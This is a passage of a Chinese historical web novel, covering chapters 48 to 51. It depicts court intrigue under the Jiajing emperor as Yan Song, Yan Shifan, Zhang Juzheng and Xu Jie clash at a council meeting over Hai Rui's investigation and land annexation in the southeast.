“上次可没提前一天宣旨,我们跟清流也没有真正意义上的赢家,赢家是皇上。” “皇上他什么都知道,知道事是我们挑起的,也知道我们是胜利者。哼……”说着,严嵩哼笑一声,回头看着儿子,笑的意味深长。 “爹,皇上这是在敲打我们?”严世蕃一惊,“那怎么办?海瑞还…杀不杀?” 话说到后面,声调压得极低。 “冲鼠,属鼠的人会在此时受到影响,不宜做出重大决定或行动,”严嵩也不理会严世蕃,“煞北,暗示我边疆屯兵兴农会受挫。” “两个意思,”严嵩说着,看向严世蕃的眼神中,笑意越发浓郁而饱含深意,考校道:“猜猜看,陛下是想告诉我们什么。” “您说。”严世蕃神色严肃了下来。 “第一个,”严嵩竖起一根手指,“如果我决定继续眼下的动作,那么之前提的屯兵兴农国策,或许就轮不到我严家头上了。” 听到这话,严世蕃瞳孔一缩,呼吸也跟着一提。 屯兵兴农的国策,是皇上跟老爹,君臣默契之下诞生的。 皇上要恢复卫所制,严家被皇上掏空,需要割清流背后士绅大族的肉增肥,这是明眼人都心知肚明的一笔君臣生意。 如果屯兵兴农的国策不落在严家头上,那对他们严家来说,无异于当头一棒了。 这一棒,轻则国策交给清流,他们严家和下面的人还在一条船上抱团取暖。 重的话,交给严家一系的其他人,那严家的威信将直接崩塌,甚至不被皇上需要。 换句话说,皇上随时可以扶持一个严家。 虽然他们严家才是最懂皇上的,但通过上次的“选择题”就能明白一个道理,皇帝要的是绝对顺从的态度,不能有分毫的违逆之心! 严家之所以有如今地位,靠的就是顺从。如果严家不顺从了,那也就没有存在的必要了。 皇上是用严家最顺手,最习惯,可也不是不能狠下心换人。 “第二個,”严嵩没理会严世蕃脸上的表情变换,继续道:“如果暂停眼下在东南的一切动作,那么北方的国策就会受挫。” “嗯?”听到这两个意思的结果,严世蕃眼皮跳了跳,道:“怎么都是受挫?” 这不是意思都一样吗? 反正就是我严家死定了呗? “跟上次一样,陛下又出了一道选择题。”严嵩说完,看着严世蕃,鼓励道: “世蕃,说说你的答案。” 闻言,严世蕃沉思许久后,抬头道:“如果没有第二个意思,我肯定选第一个。” “可是现在两个结果都一样,我猜不透。” “跟上次一样。”见严世蕃答不出来,严嵩也没有不满意,温吞道:“两个都是答案,但只有一个是符合陛下期望的。” “哪个!”严世蕃期待的看着老爹。 只要有爹在,他什么都不怕,这么多年,论揣摩圣意,猜皇上的谜底,爹还没出过错呢。 “老爷,午时了。”这时,门外传来管家的声音,原来已经到了入宫的时间了。 “陛下希望我选第一个,继续东南的一切行动。”严嵩不卖关子,直接给儿子挑明。 继续杀海瑞?继续死咬清流不放?严世蕃看着已经走到门口的老爹背影,怔了怔。 皇上是这个意思吗?皇上要严家跟他作对? “爹啊,我看不清,我真的看不清了。”望着严嵩的背影,严世蕃心烦不已。 他无法想象,就一个入宫议政的时间,竟然会有这么深的意思吗? 他真的很想说,会不会想多了? 可是所有的一切似乎又都是有迹可循。 皇上出手,必然不会轻拿轻放,这点他是知道的,可皇上的这番操作,他看不清。 可是自家老爹,似乎已经看清楚了? 明白了皇上的心意,隔空面都没见,话都没说,就一个入宫议政时间,就心照不宣了? “世蕃,走了。”严嵩回头,看着眉宇间,突然没有了往日傲气自信的儿子,心中轻叹。 他很想给严世蕃说,其实自从上次质询会议后自己也越来越看不清皇上了,就像是这次。 如果不是心血来潮翻书,看到皇历扫了一眼,他可能也不会意识到这次的考题。 不过他虽然那看不清,但他知道该怎么生存。那就是找准自身定位和目标。 思皇帝所思,想皇帝所想。 一切的出发点,都是为皇帝考虑。 那么皇帝现在最想要的是什么?从卫所制就能看出来了,皇帝要恢复卫所制,而这条路上最大的障碍,就是士绅大族兼并的土地。 东南的事如果自己死咬不放,把自身定位成皇帝养的一条狰狞恶犬,殊死撕咬清流。 如此就能为皇帝撕咬下来一大块肥肉。 而这,就是皇上不出手则已,一出手就不会轻拿轻放的关键点,也是指引自己在迷雾中,不迷失,好好生存的唯一的光。 “海瑞这把不受控制的剑,清风去东南的深意…这些不是我需要操心的……” “我只需要继续做陛下养着的,让咬谁就咬谁的恶犬,做到绝对的顺从,就能生存!” “以前我还能摸清楚陛下的所有动作,有资格坐在棋盘对面,但是现在不一样了。” “我能看的清起点,看的清终点,但我看不到中间会发生什么。” “就宛若那威力无穷的火炮,知道起点和终点,但炮火弧线却复杂缭乱。 会让我的所有准备,都做无用功……” “飒飒飒。”三月初七,谷雨的后一天,但大明的天,依旧寒冷异常,下着雨夹雪。 冰冷的雨水中夹杂着盐粒儿般的雪,风吹来,刮到脸上,湿冷,生疼。 玉熙宫门外,风雨中几顶轿子停靠。 徐阶,高拱张居正等人撑着伞,静静等候着,每个人都眉头深锁,心事重重的模样。 “来了。”张居正提醒一声,众人朝着严嵩和严世蕃的轿子看去。 “诸位阁老,都到了。”吕芳也也笑着走了出来,看向严嵩笑着打招呼:“严阁老。” “吕公公。”严嵩含笑点头。 “都到了,那就赶紧进去吧,皇上体恤诸位阁老,早早就命人备了驱寒参汤。”吕芳笑着招呼众人往宫内走去。 “陛下体恤,臣等却未能为君分忧,实属惭愧啊。”严嵩说话间,摇头叹息。 清流等人跟在身后,各个面无表情。 严世蕃想到今天跟老爹的谈话,也没心情出言讥讽,沉默着跟在身后。 一群人各怀心思的,来到了宫阙下,放下雨伞,解下打湿的裘袍子,来到玉熙宫大殿。 “……” 第四十八章 张居正:我也曾意气风发过啊!徐阶:突然就感觉没了安全感? “诸位阁老,请用吧。”吕芳安排小太监,给众人一人上了一碗参汤,“大伙都先暖暖身子,等会再议政不迟……” 内阁众人虽然心中早已是心乱如麻,但如今皇帝的想法他们都还不清楚,只得暂压下心中纷扰,开始享受香气扑鼻的暖身参汤。 大殿里,司礼监和内阁分站两列,大殿里众人安静的喝着参汤。 偏殿道台上的精舍里。 嘉靖依旧在打坐,周身气息浮动,约莫众人都喝的差不多后,他缓缓睁开双眼,拿起罄锤随手一摆,随着铜罄嗡鸣,起身走出精舍。 “踏、踏、踏。”听着偏殿走近的脚步声,内阁司礼监纷纷跪拜,高呼万岁。 “都起来吧。”嘉靖说话间,来到御座上,轻一摆道袍,示意众人起身后,坐了下来。 “两件事。”嘉靖目光环视众人,在他的目光注视下,众人都微微欠身听话,就连坐着的严嵩,也是微微弯身。 “第一个,”说着,嘉靖看了眼众人,然后意有所指的笑道:“各个都是耳聪目明的,想必都知道了,朕也不卖关子,就直说了。” “国师占验天象,发现东南巽位天象异常,荧惑与镇星相迫,其象不祥。” “荧惑主乱,镇星司固,二者相逼,恐预示东南之地将有不安之象。” “东南地区天灾频发,倭寇肆虐,怨念冲天,荧惑闪烁,似有烽烟之警。” “所以朕命国师,清风玄灵守真慧悟真人为钦差,前往东南主持罗天大醮,以祈福禳灾,彻查民情,澄清冤屈,以期国泰民安。” 听到这里,司礼监众人并不意外,内阁众人也没有表露惊讶,这事他们都知道。 “第二个,自然就是定海县的事了,这也与国师此次东南行不无关系……”说到这里,嘉靖语气一顿,停了下来,目光放在众人身上。 莫名的,大殿众人似有所应,察觉到了气氛凝重,下意识的弯了弯腰。 同时也知道,今天议政的重点,确切的应该说是对他们“收账”不满的问责,来了! “那个海瑞,是谁举荐的?”嘉靖开口,虽然是在问,但目光却放在了张居正身上。 张居正,一个绝对的人才,不能让他继续跟着清流屁股后面韬光养晦了。得把他给抬到面上来了,接下来的大动作,用得到他。 “来了!”察觉到上方皇帝的目光,张居正心中一怔,知道轮到自己出面了,一步踏出,躬身道:“回陛下,海瑞是臣所举荐。” “朕记得,你在嘉靖二十八年上过一篇《论时政疏》,”嘉靖说着,抬手指了指张居正,“这篇奏疏,朕可是印象深刻。” “你在里面说:才者材也,养之贵素,使之贵器。养之素则不乏,使之器则得宜……” 听到这话,众人都侧目看向张居正。 而张居正,则是陡然瞪大眼,像是头一次认识到自家的皇帝一样,眼神中有震惊之色。 脑海中的记忆陡然迸现而出。 嘉靖二十六年,自己以二十三岁的年龄,中二甲第九名进士,授庶吉士。 入选庶吉士后,他的教习中,就有当时的内阁重臣,徐阶,徐阁老。从某种意义上讲,徐阶可以说是他的老师也不为过。 当时朝中局势,远比现在要复杂的多。 那时,他还在翰林院学习,而内阁中却是在进行着一场极为惨烈血腥的争斗。 当时的内阁大学士只有夏言、严嵩二人。 二人为了争夺首辅之位,可以说是杀的昏天黑地,百官战栗也丝毫不为过。 之后,夏言夺得首辅之位,但却被严嵩进谗而杀,再之后严嵩高居内阁首辅至今。 也是因为内阁的血腥之争,当时年轻的他,还满腔热血,终于在嘉靖二十八年写下了《论时政疏》,希望朝廷可以正视朝中弊端。 但结果,自己的一腔热血意气,没有激起任何波澜。 他甚至都做好了跟严嵩‘开战’的准备,毕竟里面的一些问题,就是在影射严党。 结果呢?换来的却是无视! 严嵩都未曾正眼看过他一眼,不仅如此,皇帝也根本不知道自己这么個人存在一般。 那次对他的打击不可谓不大! 自己全力以赴,甚至做好以死明志的万全准备,数个深夜多少次假想跟严嵩对质,自己再如何引发朝野哗然,皇帝重视的场景。 然而,换来的是无视。 皇帝的无视,严嵩的无视。 除了几个相熟的官员外,没人记得那一篇,饱含他满腔意气,斗酒挥毫所做之疏。 自此之后,除例行章奏以外,他再也没有上过一次奏疏,他心灰意冷了。 嘉靖三十三年他因病离京,回到故乡江陵。 那时他畅游山水,寄情于景,只想做个古来众多郁郁不得志的隐士中一员。 就在他决心‘摆烂躺平’之时,他在家乡,以小见大,意识到了田赋不均,贫民失业,民苦于兼并等等朝廷弊端,深感责任之重。 之后,他才重拾信心,得徐阁老之恩,顺利重返朝廷,这一次,他收敛了锋芒,压下了意气,决心积蓄力量,丰满羽翼,再言变法! 现在,旧事被陛下重提,他不禁恍惚。 难道当初陛下都记得?陛下没有无视自己?不仅如此,还能说出自己奏疏中的原话? 这说明什么?这说明,陛下很早之前,就注意到了自己,从未无视过自己! 再联想到自己如今还是裕王的师父,皇子的师父,若不是一直心怀挂念,岂能轻易担任? 而自己却从嘉靖二十八年开始,荒废三年,心生抱怨,重返京师后,不但不思为君分忧,还选择了蛰伏,陛下是否对自己失望? 一时间,看着上方沉着脸,似乎要问责自己的皇帝,张居正恍惚了。 张居正神情间的变化,嘉靖自是全程收入眼中的,不过此时他的语气却缓缓下沉。 “从你这段话中不难看出,你对人才的看法,也深知用人的道理,而你既举荐海瑞,那说明这个人的才能得到了你的认可。” 其实这篇《论时政疏》嘉靖最多也就是个印象。 真正让他想起来的这篇奏疏的,是另外一篇,张居正会在未来变法中的《陈六事疏》。 这篇《陈六事疏》,就是从这篇嘉靖二十八年上的《论时政疏》的基础上发展而来的。 这篇奏疏,对自己解决后面六大危机能用得到,确切的说是用得到张居正。 因此之前才翻过那篇被遗忘的,如今看来,还有些稚嫩生涩的《论时政疏》。 “那为何东南走私,这个海瑞至今都未查清?”说着,嘉靖坐直身体,身子前倾,道: “现在你来告诉朕,这个海瑞,到底是个庸才,还是人才?” 这话一出,清流心中微微发紧。 张居正也猛地收起心中因为被提及的奏疏,而产生的恍惚,当下最重要的是应付眼前,而不是心神恍惚的缅怀过去。 这话可要小心回答才是。 若是庸才,既然自己有识人用人之能,为何却偏偏用了个庸才?若是人才,为什么大家心知肚明的事情,你举荐的人才还办不了? 都已经说好了的,你们这些清流,是不是想赖账?莫不是在耍皇上? 嗯,没看到严世蕃已经准备开火了吗?就差跳出来谄媚的喊一句:皇上他在耍你了! 稍有不慎,今天就等着被严世蕃这疯子咬一口吧! 这时,高拱见此,踏出半步,就想要上前,却被徐阶眼神示意拦下。 因为现在是张居正的舞台! 同时,徐阶也在想,陛下突然提及《论时政疏》是何意? 莫不是要重用太岳? 徐阶低眉垂目的同时,抬眼看了看张居正的后背影。 如今陛下的心思越发的难以捉摸了。 等东南的事情了了,接下来就是边疆屯兵兴农的国策施行了,那时自己等人与严党还有一场硬仗要打,这个时候若是太岳倒戈…嘶! 还有高拱,他对东南之事已有微词。 一时间,徐阶的眉头不自觉的深深锁起,他突然觉得,四周好端端的,在他毫无察觉时,已是荆棘遍布,寒意森森了。 徐阶头一次发现,自己没了安全感! “……” 第四十九章 亮剑吧 大殿上,坐着的就两人。 一个是上方御座上的嘉靖,另一个就是下方火炉边上的阁老严嵩了。 此时,严嵩默默垂首,眼皮耷拉着,看起来昏昏欲睡的模样。 一道道视线投来,张居正面上始终如常,但心里却已是心思急转。 在场众人都明白,皇帝看似是在责问,但其实就是对他们没能把钱交上来表达不满。 接下来,自己的回答,并不是要为海瑞辩解,而是要向皇帝表明,自己等人无二心。 想及此处,张居正开口了。 “圣明天纵,无过皇上!”张居正没急着辩解,而是开口就是一句涉嫌剽窃的马屁送上,“臣举荐海瑞,实因其人品高洁、忠贞不渝。” 一旁的严世蕃一瞪眼,恨不得咬人。 这个浓眉大眼的张居正,看起来翩翩儒雅君子模样,没想到也是个溜须拍马之辈! 这帮清流就是喜欢当婊子立牌坊! 严世蕃的不爽,张居正自然是不知道,继续自顾自的说着。 “昔有周公吐哺,天下归心,今海瑞亦不逊色。” 周公吐哺天下归心?这张居正也不怕风大闪了舌头…严世蕃眼神中颇有不屑之色。 “臣坚信,海瑞此次赴东南,始终以秉持公正无私之心……”说着,张居正语气微微一顿,话锋一转开始解释起来。 “然,查案之深,非一日之功。” “古语云:治大国如烹小鲜,臣以为,查案亦然,需耐心细致,方可得其实。” “海瑞查案,当是遵循此理,力求每一步皆有确凿之据,以免误断。至于其具体情形,臣不敢妄加揣测,以免误导圣听。” 一番官场明面上的话,说的众人都微微点头,但众人都明白,皇上要的不是这些。 张居正这番话,确实说的让人舒服,众人都明白,这次东南彻查走私,本就是君臣间心照不宣的一笔生意,但话却不能明说。 这个时候,皇上问责了,你就要以被问责的立场,说官面上的话。 不论是为自己辩解也好,为海瑞辩解也罢,你都要有身为上官的气度和宽和。 之前陛下就说过了,君臣一家,海瑞是家人吗?自然是的,身为家人自是要相互谅解。 “臣举荐海瑞,实因其素有忠直之名,更有‘海笔架’之称,不畏强权,臣确信其为官一任,定能造福一方,实乃臣之所见之良材。” 一番话,肯定的回答了皇帝明面上的问题,意思很明确,海瑞就是我举荐的,我谅解他,我信任他,他就是人才,我眼光不会错! 见张居正如此肯定不含糊,判断事情如此当断则断的果断,这也让嘉靖面容轻松,换了個更显舒适的坐姿,静静听张居正说话。 这番话,确实说的舒心。 他现在,就喜欢这样的人! 大明未来可期,要的是能干事,能决断的人,张居正就是这样的人才。 嘉靖神情间的轻松之意,善于察言观色的众人自然也都收到了信号。 无形中,大殿上那股先前感应到的紧张气氛,似乎也随着张居正开口而消散不少。 张居正说了官话,让皇帝舒心,然后又为海瑞做了保,巧妙而迂回的回答了皇帝,人才庸才的问题,接下来自然就是要诉苦告状了! 今天议政,也是他们所期盼的,为的就是赶紧把东南那如今他们已经失控的案子了了。 事情闹这么大,罪魁祸首是谁,大家都知道,皇上也知道,就是严党。 他们为了拖住自己等人的步伐,抽不开身去管边疆屯兵兴农的政策,因此在这里使绊子。 今天,无论如何也要拉严党出来! 你不让我们好过,那大家就都别过了,一切就让圣裁吧! 这一刻,张居正气势也跟着一变,他要亮剑了! “此外海瑞身边还有小阁老举荐的监察御史张子明,从旁全程监督,参与办案。” “此人亦与海瑞一般,皆为忠直之士,此人对案件素来锱铢必究,较之海瑞更甚之。” “臣相信海瑞等人定能肃清一切!” 好!这番话说完,性格耿直,脾气火爆的高拱直接就原地爽了,拳头捏到梆硬。 他对张居正的亮剑精神很佩服! 这些日子以来,他已经受够了严党背地里的小动作了,内阁数次开会被严世蕃明里暗里的冷嘲热讽,死揪着东南的事不放。 虽然他也很不满徐阁老家族在东南的所作所为,可他身上订着的标签是清流。 而且他们都是裕王的人,一荣俱荣一损,立场使然,这个时候是绝对不能另立山头的。 此时听到张居正直指东南这事,就是严世蕃手下在暗中捣鬼,可以说为他们狠狠出了一口恶气,他心中怎能不爽? 今天的问责会议,说白了就是上次质询会议结果的一个延续,大家依旧心照不宣。 张居正说出张子明,就是在告状了。 前面的铺垫也在这一刻终于爆发,海瑞?我举荐的人才,我们的人,我懂! 我们始终一心为陛下办事,忠心可鉴,但有些人,比如张子明,可就不一定了。 不就是撕破脸开战吗?那就开撕吧,这不就是你严党一直在东南对我们用的招吗?那今天大家就干脆在皇帝面前,扯开了说! 一言出,在场众人面色均是各异。 司礼监吕芳始终垂手而立,还没有动身的黄锦一副低头不知道在想什么的样子。 嗯,他只能感觉,殿上的气氛似乎又变了,但怎么就又变了呢?不懂,不懂! 徐阶低眉垂目,看不出想法,赵贞吉大气都不出一下,极力降低自己的存在感。 但他心里,也不禁为张居正这一次主动亮剑的行为,暗暗叫了一声好。 “好啊,好啊,这是向我宣战了,那就来吧!我严世蕃还怕了你不成?”见这几乎是在明着说是自己在暗中拖延,不想让海瑞肃清案子,在告状的张居正,严世蕃也怒了。 你亮剑,好,好啊,开战是吧?好!老子今天就把你这小白脸撕碎。 严世蕃眼神狠凶狠凶的盯着张居正,仿佛一条流着口水,张开血盆大口的恶犬。 虽然不知道父亲说的皇上让他们继续针对清流的目的是什么,但他相信父亲的判断。 察觉到大殿气氛的嘉靖眼底有笑意浮现。 “严世蕃,”嘉靖开口道:“张居正提到了这个张子明,你有什么想说的?” 气氛都到这里了,嘉靖也直接添火了。 台子朕给你们搭好了,你们可千万别让朕失望。 “世蕃,开始吧……”严嵩的眼皮抬了抬,没有去看任何人,心中默默说道。 局面到这里,正在朝着皇上想要的方向发展着,接下来严世蕃只需要开火,闹事就成。 之前的御前质询会议,皇上的目的很直接,很纯粹,就是为了钱,要求很简单。 为了纸能包住火,不至于没有转圜的余地,没有点那十二道奏本上的土地兼并问题,但是这次,不一样了。 自己所代表的严家一系已经逃出升天,还得到了“屯兵兴农”的肥差,已经坚定的站在了皇上这边,三方平衡被打破,二对一! 现在优势在皇上! 而清流,本也要逃出升天了。 可谁让他们自己出了纰漏,用错了人,给了自己机会呢? 事情闹大了,失控了。 以至于不得不让皇上出面,帮他们平事,好啊,皇上答应了,帮你们平事,但那是另外的价钱了,皇上出手是断断不会轻拿轻放的。 这些清流没意识到皇上要的可不是钱了,而是东南士绅大族手里的土地。 而他们严家,就是皇上手里的恶犬! “……” 第五十章 土地兼并捅到台面上了,忧国忧民严世蕃! 严嵩心思急转间,严世蕃也开口了。 “皇上圣心独运,万方臣服。”开场就是一句全新的马屁送上,说话间斜睨了眼张居正,眼神中满是对这种只会剽窃者的不屑。 “几日前,张子明密信给臣一份,还请皇上过目。”严世蕃说着,从袖子里掏出一份卷成轴的纸奉上,吕芳上前接过呈给嘉靖。 徐阶看到这一幕,下意识的瞟了眼老神在在的严嵩,眉头再次深锁。 严党在东南撺掇海瑞,调查士绅大族,想要将祸水往土地兼并上引。 可是土地问题皇上知道,而且上次并未言明,上次那十二道奏本里,同样有说明。 当时的情形就是君臣默契,谁也不去触碰,严嵩自己也不让严世蕃触碰。而且,皇上要的是平衡,不可能会在土地上下手。 严嵩应该不至于这么糊涂,这个时候乱来吧?他敢违逆皇上的意思? 最重要的是土地兼并可都是合理合法的。 真查起来三五年内都不一定能查清,大概率失败。其中涉及太深,皇上是不会同意的。 所以严世蕃还能拿出什么东西来? 徐阶心思急转,排除了所有的不可能后,竟然没有一个答案留下来。 这时,严嵩突然像是有所感应一般,回头朝着徐阶看了一眼,眼底有笑意闪过。 少湖啊,我和你不一样,我只有皇上,而你背后却是庞大底蕴深厚的士绅大族。 得于斯者,受累于斯,这点局限住了你,这也注定了,你永远不可能与皇上一条心。 严嵩的目光柔和的从徐阶等人身上掠过,心思越发的通透起来。 “皇上,这是一份关于定海县当地士绅,林家恶意兼并军户土地的罪证!”严世蕃毫不掩饰,上来就使出自己的杀手锏。 土地兼并!听到这四个字的徐阶猛然抬头,看向上方御座上的皇帝。 这一刻,他想要看清皇上的态度。 土地兼并这东西,严世蕃之前内阁开会的时候不是没说过,但大多都是雷声大雨点小,再加上没证据,所以都不了了之。 但这次不一样了,他是抬到皇上跟前了,而且说的是罪证,皇上会什么反应? 定海县林家?他知道! 现在海瑞就在定海县查林家。 一个对他来说,只是边缘地带的小家族,但以小见大,他需要从皇上的态度上做出判断。 他知道皇上出手会让他们很疼,此前这个疼,他心中最多认为的是钱! 自家皇上爱钱,他是知道的。 之前是玄修上浪费钱,最近又成了要钱用于军需。 但是现在,当看到严世蕃肆无忌惮的把土地兼并这事,拿在台面上说,戳破之前三方都努力维护的纸,他顿时惊觉了过来。 这次,陛下可能要跟他们要地! 但还是不好判断,陛下是打算要多少?只是借此机会割肉,还是要通吃? 张居正也是被严世蕃直接把土地兼并,这個双方默契不提的东西拿到台面上说,给弄的一怔,而后也终于反应了过来什么。 下意识的撇头朝着一侧的徐阶看去。 赵贞吉低着的脑袋抬了抬,看了看御座上的皇上,又看了看徐阁老,最后又低下头去。 果然,让皇上出手平事没那么容易,稍有不慎,说句大不敬的就是引狼入室! 显然,陛下是打算要土地了。普通的钱财,已经无法满足他的胃口了。 他们早该想到自家皇帝的贪婪性子的,送上门的机会,他能不把握住了 现在就看他老人家是要大吃一口,饱餐一顿了,还是打算顿顿饱了。 可这一切,能怪谁呢?谁让他们用了海瑞呢? 当初只看到这柄剑的锋利,是用来对付严党的利器,谁想到这玩意不受控制呢? 现在好了,严党不但无伤,还把自己给砍了。 天爷呀,以后这海瑞可要远离了。 若是阁老他们此事过后还打算用海瑞,可万万不能做此人的直系上官,否则迟早被他害死。 赵贞吉心头神神叨叨的嘀咕着。 殿上,严世蕃见嘉靖开始翻阅起来,顿了顿然后又跟着开口述说起来。 “此事要从嘉靖三十八年的天灾说起。” “嘉靖三十八年四月至五月,定海县遭遇了罕见的洪水灾害,导致大面积的农田被淹,农作物受损严重,受损百姓不计其数。” “我想,当时东南的奏本,不少人还有印象,”严世蕃说着,看了眼内阁众人和司礼监,“军户李文忠,就是其中之一。” “李文忠,四十二岁,定海县驻军军户,全家总共四口人,他有一个温婉懂事的妻子张氏,聪明的儿子李明、乖巧的女儿李秀。” 严世蕃说着,神态间满是可惜和不忍之色。 一旁的高拱眼含讥讽,你严世蕃是个什么货色,谁不知道?你会心疼底层百姓? “这场天灾让李文忠耕种的军田也未能幸免,收成几乎全无,几乎断了全家生存来源,也就是这时,定海县林氏家族提出援助于他……” 大殿上,严世蕃声情并茂的详述着军户李文忠的不幸和悲惨,以及林家的险恶。 这一刻的严世蕃,俨然化身忧国忧民的圣人,说话间目眦欲裂一般。 “等到李文忠欠下的债务越来越多,直到无力偿还的时候,那林家终于图穷匕见。” “他们为李文忠提出一份土地租赁契约。” “表面上是为了帮助李文忠暂缓债务,但契约中却隐藏了许多陷阱条款。” “根据契约所说,李文忠需要支付高额的地租,并且如果连续两年未能按时支付,则土地的所有权将自动转移给林氏家族。” 严世蕃说到这里,嘴角挂着冷笑。 “军户,大多都是些不识字的,对律法也不是很熟悉,他们就借此机会暗算了李文忠。” “而这等例子,不过是当地士绅土地兼并,众多例子中最普遍的一个而已!” “不幸的是,嘉靖三十九年,灾害再次降临东南,李文忠自然无法按时支付地租,至此属于他的土地,也就顺理成章的归林家所有。” “小阁老所言,在下不敢苟同!”高拱直接出言,道:“军户的土地是军田,按律是不可转让的,他只有耕种权……” “高拱!”然而高拱的话还没说完,就被严世蕃粗暴的打断,“所以我才说这是罪证!” “这林家与定海县知县陆文轩早就沆瀣一气了!” “这些,都是海瑞和张子明,亲自查出来的,难道还会有错不成吗!” 一声爆喝,把高拱说的一噎。 然而严世蕃既然亮剑了,自然不会捅高拱这种小角色,他的目标是一直以来,做梦都想斗倒的那人,内阁次辅徐阶! “陛下,这林家在定海县,不过是个小小的商人家族,但在当地,却是十足的大族。” “像是之前说过的,私开海运的周家,也不过是要仰他鼻息生存而已!” “一个小小的地头蛇家族,他是如何能左右官府?在定海县一手遮天的?” “一切的原因,只有一个!”严世蕃说着豁然转身,指向徐阶。 “只因为那林家族长林子昂的妻子,她是徐阶徐阁老妹妹的女儿!再说直白一点,林家族长的妻子,就是徐阁老的亲外甥女!” “就是因为有着这一层关系在,所以他们才敢如此肆无忌惮,无法无天!” “这还是一个小小的定海县一隅之地。” “那么,整个东南,又该有多少这等例子?”严世蕃说着,直接跪下,大声道: “臣恳请陛下,彻查整个东南土地兼并,还我大明百姓一个郎朗青天!” 嗯,其实只是八竿子打不着的远房表妹的女儿,徐阶都不一定知道有这么个人,但为了把事情说严重点,严世蕃自然要把关系说近点。 一番话震得在场众人耳膜嗡嗡发响。 土地兼并,被严党拿到实证了,还捅到了皇帝跟前,所有的一切都挑明了。 接下来,就看皇帝的态度了! 一时间,大殿上的气氛异常压抑,所有人都低下了脑袋,等待着御座上的那位裁定。 徐阶,从始至终,都没有去看严世蕃,他现在眼里只有皇帝一个人。 他要知道,皇帝的态度! “……” 第五十一章 蚍蜉见苍天,对话于无形 徐阶最厉害的就是极沉得住气。 他永远能克制住自己心底的情绪波动,稳如泰山。 即便此刻他被严世蕃指着鼻子说他是东南土地兼并背后的‘保护伞’,他也无动于衷。 因为现在相比于皇帝的态度,严世蕃的狂吠,毫无意义。 放眼朝堂,除了严嵩,任何政敌在他心里都不足以引起重视。 “严世蕃起来说话,”终于在众人忐忑的等待中,嘉靖开口了,说话间,抬手拿起罪证,“都看看严世蕃呈上来的这份罪证吧。” 吕芳接过罪证,来到了徐阶跟前。 徐阶对吕芳点点头,接过罪证认真的看了起来。 高拱、张居正、赵贞吉也第一时间凑了过去,只有严世蕃昂首而立,冷睨着众人。 小半晌后,等众人看的差不多后,嘉靖开口了。 “徐阶,严世蕃的话,你有什么要说的吗?”嘉靖语气平静的问道。 听到嘉靖问话,徐阶知道轮到自己了。 将手里的罪证递给张居正后,踏出一步来到严世蕃身边站定,不紧不慢的行了一礼。 “回陛下,”徐阶的声音平和而有力,“臣的发妻确实有个妹妹,她也确有一个女儿是臣的外甥女,她确实嫁给了林家族长。” “臣虽从未见过林子昂,也无直接交往,但若卷宗记载属实,臣愿承担因此而给朝廷,给国家,给皇上带来罪孽的全部责任。” “嗯?”徐阶这话,严世蕃愣了一下,他被这番话给晃了一下子。 不是,几个意思?这就认罪了? 那不是远方表妹的外甥女,这关系八竿子打不着吧,你还真当亲的认了? 这徐阶老糊涂啦?这话一出,不管你跟这案子有没有关系,是不是真的不知情,你都难辞其咎,他的存在本身就是一种庇护! 严世蕃眼神中之前的轻松消失不见。 一双眸子里,目光凝视着徐阶,不明白这滑不溜秋的老泥鳅想干什么。 徐阶开口后,似是昏昏欲睡的严嵩,腰背也微微挺直了些,抬头目光掠过徐阶,看向眉头紧锁的严世蕃,心底却发出声哼笑来。 “呵,世蕃啊,学吧,好好学吧……”严嵩心底说着,不再去看二人,又低下了头。 徐阶这番话,说的有意思的多了,嘉靖知道,这位向来隐藏极深的内阁次辅,要第一次在众人面前,展露属于他的锋芒了。 这句话,是在明着跟自己要答案了。 这位内阁次辅,在自己跟严嵩的联手之下,不得不出手了。 他这话说出口,根本就没打算给自己辩解,他看出,请自己这个皇帝出手平事,要付的账是不能算在之前那一笔上的。 一笔账归一笔账,这次的账,单单交钱那是不够的,这次是要交士绅大族手里的地了。 认下林家的事,就是在告诉自己,我徐阶,愿意顺从于陛下的一切意志。也请陛下明示,是全要,还是只要一部分? 不得不说,经过上次的答题,徐阶已经意识到了,皇帝要的是绝对的顺从。 不绝对的顺从,就是不顺从! 嗯,至于怎么告诉他,自己要多少,意思也很明确,那句“若是卷宗属实”就是答案。 而这个答案,同样是一個态度。 一个来自于皇帝的,决定他是否还有余地和机会的态度。 若是卷宗属实,那么清流一派包括他们背后的士绅大族,将迎来大清洗,自然的,也就说明皇帝要的是清流吃下去的全部土地。 若是卷宗有待查证,那么就说明,皇帝要的只是一部分‘出手费’而已。 高拱、张居正、赵贞吉三人此时也是在徐阶承认下来后,神情各有不同。 此时,谋略城府还尚有余地的张居正,眉宇间有担忧和不解之色,高拱眸子动了动,眼巴巴的看着御座上方的嘉靖。 赵贞吉的目光,则是看向了严嵩,而后又看向嘉靖,最后不露痕迹的低眉垂目。 “严阁老,你怎么看?”徐阶态度不错,嘉靖自然也不会再揪着不放。 因为他的本意就是要给这些清流上一课,告诉他们,让自己出手帮他们收拾烂摊子是要付出代价的,这个代价一次比一次重。 甚至,从头至尾,他的目标都不是东南的土地,这次纯粹是海瑞送来的一桩富贵。 倒不是说嘉靖不想趁此机会,借着严嵩父子送上的台阶,彻查大明的土地兼并问题。 一旦查了,严党将会全力以赴。 可,这事情是不能这么办的,如此一来定会引的朝野动荡,清流也会殊死搏斗。 自己对朝堂确实是掌控力度超强,权力巅峰期,可这不代表每一寸地都能有如此力度。 土地改革,要的是上行下效,上令下达,地方如果不配合,注定会失败,史书上的教训经验够多了,要想改革,必先整顿吏治。 甚至,那些被兼并了土地的百姓,都有可能,不,是很大可能的反对自己。 一旦步子迈得太大,甚至可能激起民变。 现在的大明已经是千疮百孔了,它需要的是柔和的修复,而不是哪里有脓疮烂肉,就剜掉哪里,砍掉哪里,这样只会加速崩溃。 大明会是他的本命物,绝对不容有失。 “回皇上,”被嘉靖点名,严嵩颤颤巍巍的起身,躬身一礼,“臣以为,为官者本分,应懂得,位高者,非独善其身,亦需慎其荫。” 说话间,严嵩微微回头看向徐阶。 “徐阁老素来清廉,人品贵重,所作所为,百官有目共睹。若说他为家族提供庇护,荼毒百姓田产,臣是万万不信的。” “位高者,虽自洁,亦难避人累。”说着,他脸上露出笑容,抬头看向嘉靖,“不怕陛下笑话,臣家乡亦时有借名胡作非为之人。” 听到这里,嘉靖脸上的表情略松。 一旁的吕芳则是面露笑脸,无声的传递着笑声。 清流一方,张居正眉头深锁似是在思索,高拱和赵贞吉瞟了眼御座上的嘉靖后低下头。 “臣每每思来,也是心中难安。” 三言两语,以自身为例,打个哈哈,大殿上之前剑拔弩张,沉重的气氛忽的为之一松。 